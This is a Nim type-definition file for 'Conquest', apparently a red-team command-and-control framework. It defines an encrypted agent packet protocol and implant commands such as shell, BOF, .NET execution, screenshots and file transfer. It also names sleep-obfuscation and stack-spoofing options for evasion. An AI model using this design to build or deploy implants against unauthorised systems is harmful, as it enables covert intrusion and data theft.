Files
conquest/src/common/types.nim

332 lines
9.8 KiB
Nim

import prompt
import tables
import times
import parsetoml, json
import mummy
import system
# Custom Binary Task structure
const
MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
VERSION* = 1'u8 # Version 1
HEADER_SIZE* = 48'u8 # 48 bytes fixed packet header size
type
PacketType* = enum
MSG_TASK = 0'u8
MSG_RESULT = 1'u8
MSG_REGISTER = 2'u8
MSG_HEARTBEAT = 100'u8
ArgType* = enum
STRING = 0'u8
INT = 1'u8
SHORT = 2'u8
LONG = 3'u8
BOOL = 4'u8
BINARY = 5'u8
HeaderFlags* = enum
# Flags should be powers of 2 so they can be connected with or operators
FLAG_PLAINTEXT = 0'u16
FLAG_ENCRYPTED = 1'u16
FLAG_COMPRESSED = 2'u16
FLAG_FRAGMENTED = 4'u16
CommandType* = enum
CMD_SLEEP = 0'u16
CMD_SHELL = 1'u16
CMD_PWD = 2'u16
CMD_CD = 3'u16
CMD_LS = 4'u16
CMD_RM = 5'u16
CMD_RMDIR = 6'u16
CMD_MOVE = 7'u16
CMD_COPY = 8'u16
CMD_PS = 9'u16
CMD_ENV = 10'u16
CMD_WHOAMI = 11'u16
CMD_BOF = 12'u16
CMD_DOWNLOAD = 13'u16
CMD_UPLOAD = 14'u16
CMD_SCREENSHOT = 15'u16
CMD_DOTNET = 16'u16
CMD_SLEEPMASK = 17'u16
ModuleType* = enum
MODULE_ALL = 0'u32
MODULE_SLEEP = 1'u32
MODULE_SHELL = 2'u32
MODULE_BOF = 4'u32
MODULE_DOTNET = 8'u32
MODULE_FILESYSTEM = 16'u32
MODULE_FILETRANSFER = 32'u32
MODULE_SCREENSHOT = 64'u32
MODULE_SITUATIONAL_AWARENESS = 128'u32
StatusType* = enum
STATUS_COMPLETED = 0'u8
STATUS_FAILED = 1'u8
STATUS_IN_PROGRESS = 2'u8
ResultType* = enum
RESULT_STRING = 0'u8
RESULT_BINARY = 1'u8
RESULT_NO_OUTPUT = 2'u8
ConfigType* = enum
CONFIG_LISTENER_UUID = 0'u8
CONFIG_LISTENER_IP = 1'u8
CONFIG_LISTENER_PORT = 2'u8
CONFIG_SLEEP_DELAY = 3'u8
CONFIG_PUBLIC_KEY = 4'u8
CONFIG_PROFILE = 5'u8
LogType* {.size: sizeof(uint8).} = enum
LOG_INFO = " [INFO] "
LOG_ERROR = " [FAIL] "
LOG_SUCCESS = " [DONE] "
LOG_WARNING = " [WARN] "
LOG_COMMAND = " [>>>>] "
LOG_OUTPUT = ""
LOG_INFO_SHORT = " [*] "
LOG_ERROR_SHORT = " [-] "
LOG_SUCCESS_SHORT = " [+] "
LOG_WARNING_SHORT = " [!] "
SleepObfuscationTechnique* = enum
NONE = 0'u8
EKKO = 1'u8
ZILEAN = 2'u8
FOLIAGE = 3'u8
# Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments
iterator items*(e: typedesc[ModuleType]): ModuleType =
yield MODULE_SLEEP
yield MODULE_SHELL
yield MODULE_BOF
yield MODULE_DOTNET
yield MODULE_FILESYSTEM
yield MODULE_FILETRANSFER
yield MODULE_SCREENSHOT
yield MODULE_SITUATIONAL_AWARENESS
# Encryption
type
Uuid* = uint32
Bytes* = seq[byte]
Key* = array[32, byte]
Iv* = array[12, byte]
AuthenticationTag* = array[16, byte]
Key16* = array[16, byte]
# Packet structure
type
Header* = object
magic*: uint32 # [4 bytes ] magic value
version*: uint8 # [1 byte ] protocol version
packetType*: uint8 # [1 byte ] message type
flags*: uint16 # [2 bytes ] message flags
size*: uint32 # [4 bytes ] size of the payload body
agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryptio
seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption
iv*: Iv # [12 bytes] random IV for AES256 GCM encryption
gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption
TaskArg* = object
argType*: uint8 # [1 byte ] argument type
data*: seq[byte] # variable length data (for variable data types (STRING, BINARY), the first 4 bytes indicate data length)
Task* = object
header*: Header
taskId*: Uuid # [4 bytes ] task id
listenerId*: Uuid # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id
argCount*: uint8 # [1 byte ] number of arguments
args*: seq[TaskArg] # variable length arguments
TaskResult* = object
header*: Header
taskId*: Uuid # [4 bytes ] task id
listenerId*: Uuid # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id
status*: uint8 # [1 byte ] success flag
resultType*: uint8 # [1 byte ] result data type (string, binary)
length*: uint32 # [4 bytes ] result length
data*: seq[byte] # variable length result
# Checkin binary structure
type
Heartbeat* = object
header*: Header # [48 bytes ] fixed header
listenerId*: Uuid # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
# Registration binary structure
type
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
AgentMetadata* = object
listenerId*: Uuid
username*: seq[byte]
hostname*: seq[byte]
domain*: seq[byte]
ip*: seq[byte]
os*: seq[byte]
process*: seq[byte]
pid*: uint32
isElevated*: uint8
sleep*: uint32
AgentRegistrationData* = object
header*: Header
agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange
metadata*: AgentMetadata
# Agent structure
type
Agent* = ref object
agentId*: string
listenerId*: string
username*: string
hostname*: string
domain*: string
ip*: string
os*: string
process*: string
pid*: int
elevated*: bool
sleep*: int
tasks*: seq[Task]
firstCheckin*: DateTime
latestCheckin*: DateTime
sessionKey*: Key
# Session entry for client UI
UIAgent* = ref object
agentId*: string
listenerId*: string
username*: string
hostname*: string
domain*: string
ip*: string
os*: string
process*: string
pid*: int
elevated*: bool
sleep*: int
firstCheckin*: int64
latestCheckin*: int64
# Listener structure
type
Protocol* {.size: sizeof(uint8).} = enum
HTTP = "http"
Listener* = ref object of RootObj
server*: Server
listenerId*: string
address*: string
port*: int
protocol*: Protocol
UIListener* = ref object of RootObj
listenerId*: string
address*: string
port*: int
protocol*: Protocol
#[
Client <-> Server WebSocket communication
]#
type
EventType* = enum
CLIENT_HEARTBEAT = 0'u8 # Basic checkin
# Sent by client
CLIENT_AGENT_BUILD = 1'u8 # Generate an agent binary for a specific listener
CLIENT_AGENT_COMMAND = 2'u8 # Instruct TS to send queue a command for a specific agent
CLIENT_LISTENER_START = 3'u8 # Start a listener on the TS
CLIENT_LISTENER_STOP = 4'u8 # Stop a listener
# Sent by team server
CLIENT_PROFILE = 100'u8 # Team server profile and configuration
CLIENT_LISTENER_ADD = 101'u8 # Add listener to listeners table
CLIENT_AGENT_ADD = 102'u8 # Add agent to sessions table
CLIENT_AGENT_CHECKIN = 103'u8 # Update agent checkin
CLIENT_AGENT_PAYLOAD = 104'u8 # Return agent payload binary
CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console
CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog
Event* = object
eventType*: EventType
timestamp*: int64
data*: JsonNode
# Context structures
type
KeyPair* = object
privateKey*: Key
publicKey*: Key
Profile* = TomlValueRef
UIClient* = ref object
ws*: WebSocket
Conquest* = ref object
prompt*: Prompt
dbPath*: string
listeners*: Table[string, Listener]
threads*: Table[string, Thread[Listener]]
agents*: Table[string, Agent]
interactAgent*: Agent
keyPair*: KeyPair
profile*: Profile
client*: UIClient
AgentCtx* = ref object
agentId*: string
listenerId*: string
ip*: string
port*: int
sleep*: int
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
sessionKey*: Key
agentPublicKey*: Key
profile*: Profile
# Structure for command module definitions
type
Argument* = object
name*: string
description*: string
argumentType*: ArgType
isRequired*: bool
Command* = object
name*: string
commandType*: CommandType
description*: string
example*: string
arguments*: seq[Argument]
dispatchMessage*: string
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}
Module* = object
name*: string
description*: string
commands*: seq[Command]
# Definitions for ImGui User interface
type
ConsoleItem* = ref object
itemType*: LogType
timestamp*: int64
text*: string
ConsoleItems* = ref object
items*: seq[ConsoleItem]